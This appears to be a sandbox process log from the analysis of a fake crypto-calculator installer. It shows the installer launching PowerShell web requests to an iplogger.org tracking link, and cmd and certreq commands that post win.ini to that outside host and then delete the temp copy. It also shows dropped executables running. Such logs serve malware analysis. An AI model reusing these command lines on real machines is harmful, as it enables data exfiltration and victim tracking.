CalcCryptoInstalww.tmp "C:\Users\test22\AppData\Local\Temp\is-QD868.tmp\CalcCryptoInstalww.tmp" /SL5="$601EC,3619787,58368,C:\Users\test22\AppData\Local\Temp\CalcCryptoInstalww.exe"
2492powershell.exe "powershell" -command "Invoke-WebRequest -URI https://iplogger.org/1NUHh7"
776cmd.exe "cmd.exe" /c certreq -post -config https://iplogger.org/1NUHh7 %windir%\\win.ini %temp%\\2 & del %temp%\\2
2212certreq.exe certreq -post -config https://iplogger.org/1NUHh7 C:\Windows\\win.ini C:\Users\test22\AppData\Local\Temp\\2
2576lessabspac.exe "C:\Program Files (x86)\My manager4youdrivers\lessabspac.exe"
1788powershell.exe "powershell" -command "Invoke-WebRequest -URI https://iplogger.org/1NUHh7"
1180610acha.exe "C:\Program Files (x86)\My manager4youdrivers\610acha.exe"
528cmd.exe "cmd.exe" /c certreq -post -config https://iplogger.org/1NUHh7 %windir%\\win.ini %temp%\\2 & del %temp%\\2
2564certreq.exe certreq -post -config https://iplogger.org/1NUHh7 C:\Windows\\win.ini C:\Users\test22\AppData\Local\Temp\\2
972explorer.exe C:\Windows\Explorer.EXE
1236